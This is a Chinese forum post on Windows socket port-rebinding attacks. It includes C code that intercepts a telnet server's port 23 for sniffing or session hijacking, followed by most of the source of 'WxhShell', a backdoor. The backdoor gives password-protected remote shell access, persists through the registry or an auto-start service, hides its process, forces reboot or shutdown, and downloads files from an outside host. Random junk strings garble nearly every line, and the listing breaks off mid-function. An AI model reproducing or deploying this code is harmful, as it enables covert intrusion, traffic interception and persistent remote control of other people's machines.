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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: AZFWuPJo  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `!\ivIi^  
X7aXxPCq1  
  saddr.sin_family = AF_INET; o%(bQV-T  
VlW9UF-W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]>:^d%n,}  
zCXqBuvu1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~] =?b)B  
/rF8@l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m>Ux`Gp+  
>?XbU}  
  这意味着什么?意味着可以进行如下的攻击: `]2@ _wa  
#!!AbuhzK{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 OKY+M^PP  
}F{=#Kqn^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'ND36jHcRD  
GXb47_b^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 V> a*3D  
 ';lfS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  R lg#z4m  
9EgP9up{6!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 AF#_nK) @  
;bHfn-X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @[r={s\  
QJ<[Zx  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Fn,k!q  
S!j^|!  
  #include Vq}r_#!Q  
  #include { vfq  
  #include HCc`  
  #include    gg8c7d:Q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ce5nG0@#  
  int main() d7~j^v)=^  
  {  R<&FhT]  
  WORD wVersionRequested; qyv"Wb6+  
  DWORD ret; ,+-?Zv 2  
  WSADATA wsaData; Pf8u/?/  
  BOOL val; 7Dl%UG]  
  SOCKADDR_IN saddr; e{t=>vry  
  SOCKADDR_IN scaddr; {,f[r*{Y  
  int err; G.ud1,S#  
  SOCKET s; v' 0!=r  
  SOCKET sc; 5^F]tRz-  
  int caddsize; ]31$KBC  
  HANDLE mt; A9 n41,h  
  DWORD tid;   .YiaXP  
  wVersionRequested = MAKEWORD( 2, 2 ); ('BLU.7IX  
  err = WSAStartup( wVersionRequested, &wsaData ); DyX0 xx^  
  if ( err != 0 ) { Qu}N:P9l?X  
  printf("error!WSAStartup failed!\n"); 7:kCb[ji"  
  return -1; :)LC gIQo  
  } T&4fBMBp,%  
  saddr.sin_family = AF_INET; k#jm7 +  
   V2QW\2@$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .D3`'K3t{[  
96)v#B?p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 28+HKbgK  
  saddr.sin_port = htons(23); ~y@& }  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D2?S,9+E_  
  { +I.v!P!^  
  printf("error!socket failed!\n"); . =R=cA7  
  return -1; JilKZQmk  
  } z"3H{ A  
  val = TRUE; +Z$a1 Y@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4L $};L  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K /ZHJkJ7  
  { 'v+96b/;  
  printf("error!setsockopt failed!\n"); ebD{ pc`&  
  return -1; lux9o$ %  
  } ]wR6bEm7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; mVHFT~x7}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 y0y+%H-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ME,duY/>Q  
iI}nW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) '1lx{U zD  
  { ]Qc: Zy3  
  ret=GetLastError(); g.=!3e&z%  
  printf("error!bind failed!\n"); Lm.Ik}Gli  
  return -1; ?Cc$]  
  } #-A5Z;TD.  
  listen(s,2); I>!|3ElT  
  while(1) L% zuI& q  
  { -/1d&  
  caddsize = sizeof(scaddr); *eMLbU7  
  //接受连接请求 o` 2 5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sgR 9d  
  if(sc!=INVALID_SOCKET) KM EXT$p  
  { zcZ^s v>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Wl?<c uw00  
  if(mt==NULL) DU(X,hDBF  
  { }&=uZ:  
  printf("Thread Creat Failed!\n"); x vHOY:  
  break; f)qPFM]%z  
  } .!9Vt#  
  } Z#%}K Z  
  CloseHandle(mt); +)% ,G@-`  
  } A<]&JbIt  
  closesocket(s); \gjl^# ;  
  WSACleanup(); _8Pmv$   
  return 0; ya;@<b  
  }   tP -5  
  DWORD WINAPI ClientThread(LPVOID lpParam) u87=q^$  
  { }7otuO(pRo  
  SOCKET ss = (SOCKET)lpParam; 2J1B$.3'  
  SOCKET sc; ^V_ku@DY  
  unsigned char buf[4096]; Q=dw 6  
  SOCKADDR_IN saddr; [9'|7fdU  
  long num; %-T}s`Z  
  DWORD val; )j$b9ZBk  
  DWORD ret; wV7@D[8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <.y;&a o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !k4 }v'=  
  saddr.sin_family = AF_INET; p`shY yE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [P(rY  
  saddr.sin_port = htons(23); >aNbp  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) };4pZceV  
  { oFX"F0rx  
  printf("error!socket failed!\n"); 7[(Lrx.pM  
  return -1; (jD'+ "?  
  } GGYX!=]~  
  val = 100; /F\>Z]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kxt\{iy4  
  { HQ ELK  
  ret = GetLastError(); m~A[V,os  
  return -1; hpd(d$j  
  } PT 0Qzg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fU\k?'x_  
  { TyxU6<>4J4  
  ret = GetLastError(); (MF+/fi  
  return -1; My'9S2Y8nv  
  } bW,BhUb,|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ::^qy^n  
  { iX0]g45o  
  printf("error!socket connect failed!\n"); lo IL{2  
  closesocket(sc); ]{q- Y<{"  
  closesocket(ss); A&X  
  return -1; E7d~#  
  } r_qncy,F  
  while(1) 4eDmLC"Y *  
  { UBUB/N Y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gNMKGf\Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (6b?ir~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,6y-.m7>  
  num = recv(ss,buf,4096,0); Y&1!Z*OL;  
  if(num>0) 3[00-~&U  
  send(sc,buf,num,0); wI1M0@}PV  
  else if(num==0) d=xI   
  break; |,M#8NOp:  
  num = recv(sc,buf,4096,0); t wa(M?  
  if(num>0) "Gi+zkVm  
  send(ss,buf,num,0); &k%wOz1vM  
  else if(num==0) ^^t]vojX  
  break; ZYl-p]\*y  
  } ur~Tql  
  closesocket(ss); [7SI<xkv  
  closesocket(sc); ]XpU'/h>q;  
  return 0 ; kcma/d  
  } Rpa A)R,  
MZ|c7f&`  
Z7KB?1{G  
========================================================== mTb2d?NS  
7Dx .;  
下边附上一个代码,,WXhSHELL Ue>A  
qI4R`P"  
========================================================== wFoR,oXtL/  
Js^r]=\F'  
#include "stdafx.h" iC5JU&l  
Xx9~  
#include <stdio.h> nfd?@34"A2  
#include <string.h> !,-qn)b  
#include <windows.h> kHo;9j-U  
#include <winsock2.h> 4<eJ  
#include <winsvc.h> 9cw4tqTm  
#include <urlmon.h> Vqv2F @.  
l66ipgw_^I  
#pragma comment (lib, "Ws2_32.lib") zvQ^f@lq2  
#pragma comment (lib, "urlmon.lib") +=29y@c  
m;tY(kO  
#define MAX_USER   100 // 最大客户端连接数 t KqCy\-q  
#define BUF_SOCK   200 // sock buffer 6&xW9' 6b:  
#define KEY_BUFF   255 // 输入 buffer =-1^K  
|0vHy7CE  
#define REBOOT     0   // 重启 ~:RDw<PWp  
#define SHUTDOWN   1   // 关机 R^Eu}?<f  
TF}4X;3Dsy  
#define DEF_PORT   5000 // 监听端口 KSpC%_LC  
w]+BBGYQKb  
#define REG_LEN     16   // 注册表键长度 J!^~KN6[  
#define SVC_LEN     80   // NT服务名长度 IG3K Pmu  
7+Jma!o  
// 从dll定义API <J_,9&\J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9|kEq>d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Wp9 2sm+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !^"!fuoNC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nY5n%>8  
$nd-[xV  
// wxhshell配置信息 O'sr[  
struct WSCFG { r@@eC['  
  int ws_port;         // 监听端口 |EEz>ci  
  char ws_passstr[REG_LEN]; // 口令 aBtfZDCfzp  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9Nbg@5(  
  char ws_regname[REG_LEN]; // 注册表键名 jiB>.te  
  char ws_svcname[REG_LEN]; // 服务名 0|+hm^'_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $E@.G1T [  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ThqfZl=V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $q@RHcj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &u`rE""  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >fzzrD}]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !m O] zn  
h*X%:UbW  
}; UeiJhH,u   
t:j07 ,1~  
// default Wxhshell configuration Cq;K,B9  
struct WSCFG wscfg={DEF_PORT, lo;9sTUHT  
    "xuhuanlingzhe", wk <~Y 3u  
    1, \w\47/k{  
    "Wxhshell", {aa,#B] i  
    "Wxhshell", .1q~,}toX  
            "WxhShell Service", q}24U3ow  
    "Wrsky Windows CmdShell Service", snzH}$Ls  
    "Please Input Your Password: ", hE`%1j2(  
  1, exMPw ;8  
  "http://www.wrsky.com/wxhshell.exe", ghd[G}  
  "Wxhshell.exe" )^2jsy -/  
    }; L5|;VH  
8\t7}8f  
// 消息定义模块 ]be2jQx3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z8[|LF-dx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Dq1XZ%8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EjCzou  
char *msg_ws_ext="\n\rExit."; ^|12~d_.T  
char *msg_ws_end="\n\rQuit."; ZjbG&oc  
char *msg_ws_boot="\n\rReboot..."; WD`{kqc  
char *msg_ws_poff="\n\rShutdown..."; IG@&l0ARL  
char *msg_ws_down="\n\rSave to "; .8xacVyK2  
F"? *@L  
char *msg_ws_err="\n\rErr!"; !_z>w6uR  
char *msg_ws_ok="\n\rOK!"; gK_[3FiKt  
] Lft^,7  
char ExeFile[MAX_PATH]; :hdh$}y  
int nUser = 0; 4!W?z2ly~R  
HANDLE handles[MAX_USER]; (zODV4,5k`  
int OsIsNt; +GtGyp  
_; RD-kv  
SERVICE_STATUS       serviceStatus; EF{'J8AQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; otVdx&%]  
tl#s:  
// 函数声明 f;dU72]q+  
int Install(void); Mp}NUQHE  
int Uninstall(void); /3%xQK>%  
int DownloadFile(char *sURL, SOCKET wsh); tdK^X1  
int Boot(int flag); l'8wPmy%N  
void HideProc(void); W%QtJB1)  
int GetOsVer(void); JJ06f~Iw[  
int Wxhshell(SOCKET wsl); _jKVA6_E  
void TalkWithClient(void *cs); ITPp T  
int CmdShell(SOCKET sock); Pu*UZcXY  
int StartFromService(void); #$T"QL@  
int StartWxhshell(LPSTR lpCmdLine); euC,]n.  
$ !=:ES  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y\S^DJy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %+J*oFwQu  
Y}z?I%zL  
// 数据结构和表定义 ZO$T/GE6%  
SERVICE_TABLE_ENTRY DispatchTable[] = e!'u{>u  
{ 84cH|j`w  
{wscfg.ws_svcname, NTServiceMain}, XmR5dLc8  
{NULL, NULL} cYS+XBz  
}; k;X1x65uP  
h(up1(x  
// 自我安装 ay[*b_f  
int Install(void) "b7C0NE  
{ 1"PE@!]  
  char svExeFile[MAX_PATH]; iP_Xr~w  
  HKEY key; (j"MsCwE  
  strcpy(svExeFile,ExeFile); Rj= Om  
S3wH M  
// 如果是win9x系统,修改注册表设为自启动 w+P^c|  
if(!OsIsNt) { ZM!~M>B9R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F x8)jBB_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =1Jo-!{{  
  RegCloseKey(key); >Sah\u`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x*)O<K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NWj@iyi<  
  RegCloseKey(key); O,#[m:Ejb  
  return 0; ZeV)/g,w  
    } . %7A7a  
  } 2 wvDC@  
} lNAHn<ht  
else { P^-9?u Bno  
G$<0_0GF  
// 如果是NT以上系统,安装为系统服务 h (2k;M^s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2_v>8B  
if (schSCManager!=0) " z{w^k  
{ !CKUkoX  
  SC_HANDLE schService = CreateService l0)uu4|  
  ( F{tSfKy2  
  schSCManager, K4~O x  
  wscfg.ws_svcname, XvY-C  
  wscfg.ws_svcdisp, \f#ao<vQm  
  SERVICE_ALL_ACCESS, l-EQh*!j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _#B/# ^a  
  SERVICE_AUTO_START, *Cw2h  
  SERVICE_ERROR_NORMAL, |&7,g  
  svExeFile, Y[4B{  
  NULL, ba13^;fm#  
  NULL, Y2EN!{YU  
  NULL, bk]|C!7$  
  NULL, `m^OnH  
  NULL ^cm^JyS)  
  ); Ip0q&i<6  
  if (schService!=0) s=4.Ovd\  
  { _!7o   
  CloseServiceHandle(schService); $!Tw`O  
  CloseServiceHandle(schSCManager); .EO1{2=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >^&+,*tsS4  
  strcat(svExeFile,wscfg.ws_svcname); -yeT$P&|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cx}-tj"m-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  ~A/_\-  
  RegCloseKey(key); ~@JC1+  
  return 0; >Fz$DKr[  
    } 30@ GFaab  
  } ;H lv  
  CloseServiceHandle(schSCManager); S J5kA`  
} j7&l&)5  
} /Ny&;Y  
Npqbxb  
return 1; zKNk(/y  
} il~,y8WTU{  
JN_# [S$  
// 自我卸载 XJ;/ kR  
int Uninstall(void) YbKW;L&Ff  
{ \+xsJbEV  
  HKEY key; W= !f  
`c(@WK4  
if(!OsIsNt) { |w DCIHzQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U,'n}]=4A3  
  RegDeleteValue(key,wscfg.ws_regname); \"SI-`x  
  RegCloseKey(key); J5k%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &>o)7H];  
  RegDeleteValue(key,wscfg.ws_regname); VZ8L9h<{"  
  RegCloseKey(key); W4<}w-AoEp  
  return 0; ?D_zAh?pW  
  } X 6)LpMm  
} &kG<LGXP#  
} utr_fFu  
else { DxlX-  
{#vo^& B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `d8TA#|`  
if (schSCManager!=0) am}zOr\  
{ nMhc3t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X\;y;pmRH  
  if (schService!=0) x-1[2K1"[  
  { L-XTIL$$  
  if(DeleteService(schService)!=0) { Nx99dr  
  CloseServiceHandle(schService); %^S1 fUwT  
  CloseServiceHandle(schSCManager); /=N`P &R#  
  return 0; sdb#K?l  
  } O%Mh g\#B  
  CloseServiceHandle(schService); WI%,m~  
  } 1n^xVk-G  
  CloseServiceHandle(schSCManager); b#sO1MXv  
} (f)QEho7  
} w^~,M3(+)1  
-8]$a6`{_  
return 1; Px<;-H`  
} }{$@|6)R   
9I,Trk@&  
// 从指定url下载文件 D3]_AS&\  
int DownloadFile(char *sURL, SOCKET wsh) 6Pz\6DU,I  
{ `!i>fo~  
  HRESULT hr; =_5-z|<  
char seps[]= "/"; avQwbAh[  
char *token; .m .v$(  
char *file; r_QWt1K  
char myURL[MAX_PATH]; }q^CR(h (R  
char myFILE[MAX_PATH]; #}.db?[Rv  
#soWX_>  
strcpy(myURL,sURL); nkxVc  
  token=strtok(myURL,seps); L!\I>a5C0G  
  while(token!=NULL) :>|[ o&L  
  { z;T?2~g!  
    file=token; [L:,A{rve  
  token=strtok(NULL,seps); 2gA6$s7  
  } 4g|}]K1s  
7v{Dwg  
GetCurrentDirectory(MAX_PATH,myFILE); D ,nF0p  
strcat(myFILE, "\\"); s q_ f[!  
strcat(myFILE, file); /)j:Y:5  
  send(wsh,myFILE,strlen(myFILE),0); )<%GHDWL  
send(wsh,"...",3,0); BRzrtK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F8q|$[nH  
  if(hr==S_OK) _k&vW(O=:  
return 0; X4gs{kx}|  
else Z<`QDBN"4  
return 1; ^]K_k7`I  
)KG.:BO<  
} y6f YNB  
G#UO>i0jy  
// 系统电源模块 'bTtdFvJ  
int Boot(int flag) dW6sA65<Y  
{ ^I7iEv  
  HANDLE hToken; P9BShC5  
  TOKEN_PRIVILEGES tkp; Pa+%H]vB  
u{J$]%C   
  if(OsIsNt) { ;tlvf?0!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); idEhxvAo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #mFIZMTRd  
    tkp.PrivilegeCount = 1; 9J*.'Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  _->d41  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;O+= 6>W  
if(flag==REBOOT) { ka0MuQ M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PY[nnoF"|  
  return 0; :>f}rq  
} 3VaL%+T$,  
else { dSkMA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z ):q1:y  
  return 0; s^#B*  
} *lc|iq\  
  } %py3fzg  
  else { -%,=%FBi~4  
if(flag==REBOOT) { f}=>c|Do  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {u~JR(C:  
  return 0; 6Z.Fyte  
} fN&@y$  
else { Kl_(4kQE_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g8k S}7/  
  return 0; i]9C"Kw$L  
} xu\s2x$  
} gWQ(B  
`3g5n:"g\  
return 1; [n4nnmM  
} :er(YWF:  
LY-,cXm&|  
// win9x进程隐藏模块 1%ENgb:8  
void HideProc(void) zX lcu_rc  
{ dIW@L  
>$,P )cB'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?8N^jjG  
  if ( hKernel != NULL ) _AzI\8m  
  { 1oe,>\\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ncqAof(/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [;H-HpBaa  
    FreeLibrary(hKernel); JR8|!Of@B  
  } zZ6m`]{B9?  
By waD?  
return; ,~q:rh+  
} q #mBNe62p  
kDol1v`  
// 获取操作系统版本 _3(rwD  
int GetOsVer(void) 63'm @oZ  
{ )r^vrCNy>  
  OSVERSIONINFO winfo; tn#cVB3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UB/"&I uo  
  GetVersionEx(&winfo); #9gx4U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3~{I/ft  
  return 1; LN~mKoW  
  else _V 4O#;%?  
  return 0; EB| iW2'  
} Q,:{(R  
 QEg[  
// 客户端句柄模块 `6)(Fk--"  
int Wxhshell(SOCKET wsl) 1Y87_o'd  
{ XwUa|"X6  
  SOCKET wsh; cI P.5)Ca  
  struct sockaddr_in client; -w*fS,O  
  DWORD myID; f-3CDUQ`  
$2\ 8Rn6'  
  while(nUser<MAX_USER) w i[9RD@  
{ <Y."()}GeH  
  int nSize=sizeof(client); G&xtL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N"}>);r  
  if(wsh==INVALID_SOCKET) return 1; ulxfxfd  
{;DAKWm@T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5CZyA`3V^5  
if(handles[nUser]==0) dzEi^* (8  
  closesocket(wsh); \o}T0YX  
else yfK}1mx)j  
  nUser++; s EFQ8S  
  } }%p:Xv@X!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kL%ot<rt)w  
GQ;0KIN  
  return 0; & y5"0mA  
} u Jqv@GFv  
Ux7LN @4og  
// 关闭 socket ])wdd>'  
void CloseIt(SOCKET wsh) >*RU:X  
{ [ N|X  
closesocket(wsh); qFD ZD)K  
nUser--; }3^m>i*8  
ExitThread(0); ~.aR=m\#  
} &cL1 EQ(  
~f h  
// 客户端请求句柄 >x{("``D0y  
void TalkWithClient(void *cs) Jqj!k*=/  
{ q2*A'C  
m,lZy#02s3  
  SOCKET wsh=(SOCKET)cs; iX$G($[l(  
  char pwd[SVC_LEN]; hI'WfF!X  
  char cmd[KEY_BUFF]; =0pt-FQ  
char chr[1]; |Y>Jf~SN  
int i,j; o/w3b 8  
Y~AjcqS  
  while (nUser < MAX_USER) { 5dm~yQN/  
V4+ |D2   
if(wscfg.ws_passstr) { YIg(^>sq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5tYo! f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HU'Mi8xxy  
  //ZeroMemory(pwd,KEY_BUFF); @|\9<S  
      i=0; n9'3~qVZ  
  while(i<SVC_LEN) { E+aePoU  
fOV_ >]u  
  // 设置超时 t(u2%R4<d  
  fd_set FdRead; IMkE~0x4</  
  struct timeval TimeOut; W:_-I4 q~  
  FD_ZERO(&FdRead); pR61bl)  
  FD_SET(wsh,&FdRead); $fmTa02q>  
  TimeOut.tv_sec=8; \rS*\g:i  
  TimeOut.tv_usec=0; ,U~A=bsa  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); % T({;/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (`1i o  
AELj"=RA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7*l$ i/!  
  pwd=chr[0]; >Zb!?ntN`t  
  if(chr[0]==0xd || chr[0]==0xa) { P_(8+)ud-  
  pwd=0; Ymz/:  
  break; .d<K`.O ;  
  } -G(me"Cu  
  i++; NoiB9 8g  
    } WXy8<?s  
w:5?ofC  
  // 如果是非法用户,关闭 socket V$?6%\M^*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qYK^S4L  
} -c_l nK  
Sq5,}oT_{j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W'C>Fn}lO?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M~A# _%2U  
.C'\U[A{  
while(1) { cYA:k  
t%:7W[_s  
  ZeroMemory(cmd,KEY_BUFF); # EvRm  
~<[+!&<U  
      // 自动支持客户端 telnet标准   287j,'vR  
  j=0; G"/;Cq=t  
  while(j<KEY_BUFF) { mkSu $c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \ lbH   
  cmd[j]=chr[0]; ZFtx&vr P  
  if(chr[0]==0xa || chr[0]==0xd) { 9<gW~ s>  
  cmd[j]=0; ~O}r<PQ  
  break; W`[VLi}fe  
  } $MR1 *_\V  
  j++; "S;4hO  
    } evyjHcCx  
"yu{b]AU  
  // 下载文件 SoziFI  
  if(strstr(cmd,"http://")) { 2+&;jgBP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %r^tZ;; l  
  if(DownloadFile(cmd,wsh)) JLd%rM\m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G#%Sokkb'  
  else ;>PHkJQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Y`(J#  
  } \'2rs152  
  else { -5*OSA:8x  
-b!?9T?}  
    switch(cmd[0]) { D"4*l5l  
  #6M |T+ =  
  // 帮助 (-S^L'v62v  
  case '?': { ^]o H}lwO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mZiKA-t  
    break; XJo.^<m  
  } XpANaqH\  
  // 安装 Qb {[xmc  
  case 'i': { .i;.5)shsu  
    if(Install()) Zq 4%O7%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a j4ZS  
    else f/dJRcDl<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9wx]xg4l"  
    break; \`y:#N<c  
    } : ;8L1'  
  // 卸载 kI"9T`owR  
  case 'r': { lW"0fZ_x'E  
    if(Uninstall()) -3ePCAtXbe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r`- 8+"P  
    else l$5nv5r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +X#6 d v$  
    break; mx)!]B"  
    } 3[Q7'\  
  // 显示 wxhshell 所在路径 2|"D\N  
  case 'p': { Fug4u?-n  
    char svExeFile[MAX_PATH]; +o@:8!IM1  
    strcpy(svExeFile,"\n\r"); '9QEG/v  
      strcat(svExeFile,ExeFile);  dw;<Q  
        send(wsh,svExeFile,strlen(svExeFile),0); t;+b*S6D  
    break; C[fefV9g2  
    } Q&0`(okb  
  // 重启 @(c^u;  
  case 'b': { ]-t>F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Jt}`oFQ5l  
    if(Boot(REBOOT)) >&\.{ aj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ekY)?$v3  
    else { CA|l| t^  
    closesocket(wsh); ts<\n-f  
    ExitThread(0); ~rb]u Ny-  
    } kxJs4BY0  
    break; bLS10^g5  
    } --diG$x.  
  // 关机 A3.I|/  
  case 'd': { CF3x\6.q}  
